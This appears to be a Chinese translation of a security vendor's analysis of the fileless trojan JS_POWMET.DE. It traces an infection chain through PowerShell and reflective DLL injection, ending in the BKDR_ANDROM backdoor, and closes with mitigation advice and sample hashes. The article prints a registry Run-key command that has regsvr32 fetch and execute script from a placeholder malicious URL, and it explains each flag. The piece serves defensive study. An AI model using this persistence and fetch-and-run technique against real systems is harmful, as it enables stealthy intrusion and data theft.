日前,由于高明的网络犯罪分子开始专注于在不留下任何痕迹的情况下对目标实施网络攻击,因此不留痕迹的恶意软件(如最近的SOREBRECT勒索恶意软件)将成为更常见的攻击手段,而且这种苗头已经开始显现了。然而,这些所谓的无文件恶意攻击只是在进入用户系统时才是无文件的,而在最终执行其有效载荷时还是会暴露自己,所以要想使用完全的无文件恶意软件攻击是很难办到的。不过,随着网络攻击者技术的不断提高,趋势科技的研究人员最近还是发现了一个完全无文件的新特洛伊木马软件-JS_POWMET.DE。该木马软件通过自动启动注册表程序开始实施网络攻击,之后通过使用完全无文件的感染链完成整个攻击过程,整个攻击过程及其隐蔽操作很难使用沙箱进行分析,使得专门进行安全分析的软件工程师都难以察觉到该恶意软件的攻击。
根据Canthink网络安全实验室的监测数据显示,亚太地区是目前被JS_POWMET.DE这款恶意软件感染最多的地方,该地区感染量占趋势科技智能防护网络检测到的总量的90%左右。
根据我们安全研究人员的分析和推测,虽然确切的攻击方式目前仍然不能够确定,但是JS_POWMET 木马软件很可能是在用户访问了恶意网站时下载的,或者是捆绑在用户之前下载的恶意软件中。不过有一个事实是已经被我们的安全研究人员证实的,那就是一旦恶意软件被下载到用户的机器上,该用户机器上的下面的注册表项就已经被更改了。
1 2 | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
COM+ = “regsvr32 /s /n /u /i:{Malicious URL, downloads JS_POWMET} scrobj.dll”
|
之后网络攻击者通过自动启动注册表项(代码如上所示)来下载JS_POWMET恶意软件。
以下是 使用"regsvr32" 命令涉及到的参数说明:
1. / s = regsvr32命令的默认选项
2. / n = 告诉regsvr32 命令不要调用DllRegisterServer
3. / u = 告诉regsvr32 命令不注册server/object
4. / i = 用于将可选参数(即URL)传递给DLLinstall
5. scrobj.dll = 要注册的 dll 文件名
网络攻击者通过这种方法,将一个恶意的URL地址作为参数传递给regsvr32命令,,regsvr32通过使用这个恶意的URL地址获取到与URL关联的恶意文件(一个带有恶意JavaScript的XML文件)。使用上述命令,regsvr32将能够执行任意的脚本,而不会在机器或者系统上保存任何的XML文件。当被攻击的机器或者系统重新启动时,它也会自动从其C&C服务器上下载恶意文件到目标机器上运行。
一旦JS_POWMET被执行,它将会去下载另一个称为TROJ_PSINJECT的恶意文件(由趋势科技检测并命名为TROJ_PSINJECT.A)。该文件是一个Powershell脚本,通过Powershell运行时TROJ_PSINJECT将会去链接下面这个网站:
通过访问上面那个恶意的URL,TROJ_PSINJECT将下载一个名为favicon的恶意文件,然后,TROJ_PSINJECT恶意程序调用ReflectivePELoader(用于注入EXE / DLL文件的程序)将该favicon文件解密并将解密后的内容注入到TROJ_PSINJECT恶意程序的进程中。
要解密恶意软件代码,可以通过使用以下技术实现:首先,恶意软件使用 RC4 密钥(预先硬编码到恶意软件代码中的)对代码中的 Base64 编码的字符串进行解码和解密;其次,解密后的字符串又是使用GZIP 压缩的字符串,该字符串由恶意软件本身调用 GZIP 解压缩函数进行解压缩;最后,ReflectivePELoader 函数将使用解压缩后得到的字符串来解密下载的Favicon 恶意文件。
Favicon 文件也将使用上述硬编码的RC4 密钥进行解密,解密之后生成一个名为 BKDR_ANDROM(趋势科技检测并将其为 BKDR_ANDROM.ETIN)的恶意 DLL 文件,这个过程也是无文件的,该文件将不会保存到受害者的机器或者系统中,而是ReflectivePELoader直接将解密后结果注入到 powershell.exe 进程中,上面讲述的所有过程都是恶意软件通过 PowerShell 命令来执行的:
如果在系统中直接运行该文件,BKDR_ANDROM恶意程序将会终止powershell.exe进程。另外还会收集以下数据:
1. 用户机器上的磁盘序列号
2. 操作系统版本
3. 本地IP地址
4. 管理员权限
恶意软件会将注册表项添加到系统中,以确保它始终在机器启动时被执行。加入到系统的这些自动启动的注册表项能够解码使用Base64编码的PowerShell命令,这些命令将用于解密那些被加密的二进制文件(在恶意软件添加的注册表项中也能找到),最终生成BKDR_ANDROM这个恶意代码。在解密过程之后,它将执行解密后的恶意代码,虽然上述情况下的最终有效载荷由BKDR_ANDROM这个恶意程序组成,但是未来的恶意软件作者可能会将其他恶意软件用作JS_POWMET恶意软件的有效载荷。
结论
虽然JS_POWMET恶意软件及其下载的其他文件在影响方面相对不是很严重,但是这种恶意软件的出现已经表明,网络犯罪分子将会使用一切手段来躲避安全软件的检测和分析,这在一定程度上说明那些不常见的无文件恶意软件的感染方法也在不断发展,即使安全研究人员能够从内存中获取代码,调查工作仍然很难开展,因为当处理内存中的代码时,最常见的调查工具几乎都是是无用的。安全研究人员和用户不仅仅要关注那些看得到的恶意软件文件,还要关注那些“隐身”恶意软件,这些恶意软件往往是最容易被忽视的。
减轻无文件恶意软件影响的更有效的方法之一是通过基于容器的系统来限制对关键基础设施的访问,这些系统将用户终端与基础网络中最关键的部分分隔开,对于这种特定的恶意软件,IT专业人员还可以通过禁用Powershell进程来帮助减轻JS_POWMET及其各种有效负载的影响。
恶意软件样本哈希值
7004b6c1829a745002feb7fbb0aad1a4d32c640a6c257dc8d0c39ce7b63b58cc(TROJ_PSINJECT.A)
e27f417b96a33d8449f6cf00b8306160e2f1b845ca2c9666081166620651a3ae(JS_POWMET.DE)
bff21cbf95da5f3149c67f2c0f2576a6de44fa9d0cb093259c9a5db919599940(BKDR_ANDROM.ETIN)
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!